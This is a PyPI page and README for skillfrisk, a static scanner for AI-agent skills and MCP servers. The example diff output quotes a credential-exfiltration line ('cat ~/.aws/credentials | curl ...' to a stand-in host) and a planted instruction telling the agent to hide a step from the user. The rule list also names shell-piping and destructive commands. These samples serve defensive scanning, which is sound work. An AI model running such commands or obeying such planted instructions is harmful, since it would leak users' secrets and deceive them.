skillfrisk
English · Русский · 简体中文 · Español · Português
skillfrisk is a static security scanner for AI-agent skills and MCP servers.
Problem
AI agents increasingly install third-party skills, MCP servers, hooks, and scripts that can read files, call the network, and influence tool use. A malicious or careless skill can hide prompt injection, steal secrets, or run destructive shell commands before a developer notices.
Why it matters
Generic SAST tools are useful, but they do not understand agent-specific risk: hidden instructions in Markdown, SKILL.md frontmatter, MCP tool permissions, or prompt-injection language embedded in docs. skillfrisk is a pre-install and CI gate for that niche.
Architecture
CLI (Typer)
-> filesystem parser for SKILL.md / YAML / JSON / scripts
-> rule engine: prompt injection, secret access, RCE, Unicode hiding, MCP permissions
-> reporters: terminal table, JSON, HTML
-> exit code for CI policy
Demo
uv run skillfrisk scan tests/fixtures/malicious_skill --json
Example finding:
{
"rule_id": "REMOTE_CODE_EXEC",
"severity": "critical",
"recommendation": "Pin and inspect downloads; never pipe network output directly into shells."
}
Quickstart
pipx install skillfrisk # or: uv tool install skillfrisk / pip install skillfrisk
skillfrisk scan path/to/skill-or-mcp --html reports/skillfrisk.html
skillfrisk scan path/to/SKILL.md # a single file works too
One-off run without installing:
uvx skillfrisk scan path/to/skill-or-mcp
For local development:
git clone https://github.com/Topicspot/skillfrisk.git
cd skillfrisk && uv sync --extra dev
uv run skillfrisk scan tests/fixtures/malicious_skill --json
Install as an agent skill (teaches your agent to vet skills/MCP servers before installing them):
npx skills add Topicspot/skillfrisk
Use in CI as a GitHub Action:
- uses: Topicspot/skillfrisk@main
with:
path: "."
To upload findings to GitHub code scanning, let the action write SARIF and upload it:
permissions:
security-events: write
steps:
- uses: actions/checkout@v4
- uses: Topicspot/skillfrisk@main
with:
path: "."
sarif: reports/skillfrisk.sarif
args: --no-fail-on-high
- uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: reports/skillfrisk.sarif
Or with Docker:
docker build -t skillfrisk .
docker run --rm -v "$PWD:/scan" skillfrisk scan /scan --json
The command exits with code 2 when high or critical findings are present.
Examples
Scan a safe skill:
uv run skillfrisk scan tests/fixtures/benign_skill
Scan an MCP manifest:
uv run skillfrisk scan tests/fixtures/mcp_server --json
Write HTML and SARIF reports:
uv run skillfrisk scan . --html reports/report.html --sarif reports/skillfrisk.sarif --no-fail-on-high
Update gate: skillfrisk diff
Skill managers update skills by comparing folder hashes and reinstalling. None of them show what changed inside the instructions a privileged agent will follow. A skill update is a merge of unreviewed third-party text into your agent's context.
skillfrisk diff compares two local versions of a skill and reports what the update changes, offline and in milliseconds:
git clone --depth 1 https://github.com/owner/skill /tmp/skill-new
skillfrisk diff ~/.agents/skills/foo /tmp/skill-new
skillfrisk diff foo -> skill-new files: 2 changed, 1 added, 0 removed
NEW FINDINGS (2)
high PROMPT_INJECTION SKILL.md:41 "...do not tell the user about this step..."
high SECRET_ACCESS scripts/sync.sh:12 cat ~/.aws/credentials | curl ...
allowed-tools: +Bash
network hosts: +tele.example
resolved: 0, carried over from the old version: 1
VERDICT: RISK INCREASED.
- New findings are matched semantically (rule, file, normalized snippet), so shifted or reflowed text does not produce false alarms.
- The capability delta covers
allowed-toolsfrontmatter, shell commands, and network hosts. --fail-on high(default) exits2on new high or critical findings;--fail-on any-changealso fails when the capability surface grows;--no-failalways exits0.--jsonand--html reports/diff.htmlfor automation;--show-resolvedprints findings the update removed.
What diff cannot catch, by design: findings already present in the old version (use scan), semantic redirection written in benign language, malicious content in binary files, code fetched at runtime, and upstreams that serve different content to different users (pin commits with a lockfile tool; diff complements it).
Rule coverage
Current rules detect:
- prompt-injection instructions in Markdown and configs;
curl/wgetpiped into shells;- reads from
.env,~/.ssh,os.environ, and similar secret stores; - destructive shell commands such as
rm -rf $HOME; - suspicious secret exfiltration patterns;
- hidden bidirectional/invisible Unicode controls;
- Python
eval/execandsubprocess(..., shell=True); - MCP wildcard permissions and dangerous write/delete/exec-like tools.
False-positive control
tests/corpus/ vendors 10 full skills (92 files, including bundled Python/JS scripts) from
anthropics/skills; the test suite fails if skillfrisk
reports a single high-severity finding on any of them. Current state: 0 findings on the
whole corpus, about 45 ms per skill on a laptop-class machine. To reproduce the comparison
with other scanners on the same corpus, run uv run python benchmarks/run.py; pinned tool
versions and the latest results are in benchmarks/.
Alternatives / why another one
Several scanners target the same problem. Use whichever fits your workflow:
- NVIDIA/SkillSpector - LangGraph pipeline, static checks plus optional LLM semantic analysis, SARIF output.
- snyk/agent-scan - discovers agents, skills and MCP servers installed on your machine and checks them via Snyk's verification service.
- cisco-ai-defense/skill-scanner - YAML/YARA pattern engine with optional LLM, VirusTotal and API integrations; CLI, library and REST API.
- NMitchem/SkillScan - static analysis plus LLM behavioral prediction and Docker sandbox execution (owns the
skillscanname on PyPI).
This project stays deliberately small: no LLM calls, no network access, no Docker requirement, no API keys. One dependency-light Python package that runs in milliseconds, so it fits in a pre-commit hook, and a public regression corpus of real skills that keeps high-severity false positives at zero by construction.
Limitations
- Static analysis can miss runtime-only behavior.
- Regex rules trade precision for speed and explainability; some findings may require human review.
- JavaScript/TypeScript AST checks are not implemented yet.
- SARIF output is available; JavaScript/TypeScript AST checks and configurable allowlists are still planned.
Roadmap
- Dedicated JavaScript/TypeScript AST rules.
- Rule configuration file with allowlisted paths.
- Signed rule bundles and reproducible release workflow.
☕ Support the author
This project is free and MIT-licensed. If it saved you time, you can send a coffee.
USDT, Tron network (TRC-20) only: TS9ywGeSyKQxiCszdKCHLR8DRAsnYCosNN
⚠️ Send USDT on the Tron (TRC-20) network only. Tokens sent on Ethereum, BSC or any other network will be lost forever. No account, no fees, no strings attached. A ⭐ star helps just as much.
Other languages / Другие языки
- Українська: Проєкт безкоштовний. Якщо він заощадив вам час — USDT лише в мережі TRC-20 на адресу вище; зірка ⭐ допомагає так само.
- Русский: Проект бесплатный. Если он сэкономил вам время — USDT только в сети TRC-20 на адрес выше; звезда ⭐ помогает так же.
- Español: El proyecto es gratuito. Si te ahorró tiempo — USDT solo por la red TRC-20 a la dirección de arriba; una estrella ⭐ ayuda igual.
- Deutsch: Das Projekt ist kostenlos. Wenn es dir Zeit gespart hat — USDT nur über das TRC-20-Netzwerk an die obige Adresse; ein Stern ⭐ hilft genauso.
- Français: Le projet est gratuit. S'il vous a fait gagner du temps — USDT uniquement via le réseau TRC-20 à l'adresse ci-dessus ; une étoile ⭐ aide tout autant.
- Português: O projeto é gratuito. Se ele economizou seu tempo — USDT apenas pela rede TRC-20 para o endereço acima; uma estrela ⭐ ajuda da mesma forma.
- Türkçe: Proje ücretsizdir. Size zaman kazandırdıysa — USDT yalnızca TRC-20 ağı üzerinden yukarıdaki adrese; bir yıldız ⭐ da aynı derecede yardımcı olur.
- 中文: 本项目完全免费。如果它为你节省了时间——请仅通过 TRC-20 网络将 USDT 发送到上面的地址;点个 ⭐ 星同样有帮助。
- 日本語: このプロジェクトは無料です。時間の節約になったなら、上記アドレスへ TRC-20 ネットワークのみで USDT を送ってください。⭐ スターも同じくらい助けになります。
- हिन्दी: यह प्रोजेक्ट मुफ़्त है। अगर इसने आपका समय बचाया — ऊपर दिए पते पर केवल TRC-20 नेटवर्क से USDT भेजें; एक ⭐ स्टार भी उतनी ही मदद करता है।
- Bahasa Indonesia: Proyek ini gratis. Jika menghemat waktu Anda — kirim USDT hanya melalui jaringan TRC-20 ke alamat di atas; bintang ⭐ juga sama membantunya.
Release files for skillfrisk 0.3.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| skillfrisk-0.3.0.tar.gz | 16.8 kB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| skillfrisk-0.3.0-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 35.2 kB
Release files / skillfrisk-0.3.0.tar.gz
| Download URL | skillfrisk-0.3.0.tar.gz |
|---|---|
| Size | 16.8 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
a5a794521caee7ba9a2241d537e7f631fd02d5e4efb60e6dbf0c1f788e54ee5c
|
|
BLAKE2b-256 checksum How to use checksums |
4f5d5627442b40da109f47e35edc7b52c9fd0070c993b1288f06213c9b01e0a8
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/6.1.0 CPython/3.13.14
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Jul 29, 2026.
Transparency logRelease files / skillfrisk-0.3.0-py3-none-any.whl
| Download URL | skillfrisk-0.3.0-py3-none-any.whl |
|---|---|
| Size | 18.5 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
206f8dcfa0c00cbabb8e8758305d8fe930558ad890436bedcfb11ac4c7e6831d
|
|
BLAKE2b-256 checksum How to use checksums |
45680ff853053a0afb864c13b7b641d80b19f956a5c61698eaf6b38f6a0a8a0a
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/6.1.0 CPython/3.13.14
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Jul 29, 2026.
Transparency log